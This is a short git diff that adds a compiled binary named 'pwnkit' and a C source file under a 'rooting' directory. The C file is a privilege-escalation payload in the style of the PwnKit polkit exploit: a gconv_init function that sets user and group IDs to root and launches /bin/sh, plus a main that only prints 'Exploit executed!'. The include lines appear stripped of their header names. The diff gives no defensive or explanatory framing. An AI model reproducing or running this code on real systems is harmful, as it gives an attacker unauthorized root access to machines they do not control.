diff --git a/rooting/compile/pwnkit b/rooting/compile/pwnkit new file mode 100755 index 0000000..f9403cc Binary files /dev/null and b/rooting/compile/pwnkit differ diff --git a/rooting/pwnkit.c b/rooting/pwnkit.c new file mode 100644 index 0000000..d2053df --- /dev/null +++ b/rooting/pwnkit.c @@ -0,0 +1,20 @@ +#include +#include +#include + +void gconv(void) { } + +void gconv_init(void *step) { + char * const args[] = { "/bin/sh", NULL }; + char * const environ[] = { "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/opt/bin", NULL }; + setuid(0); + setgid(0); + execve(args[0], args, environ); + exit(0); +} + +int main() { + printf("Exploit executed!\n"); + return 0; +} +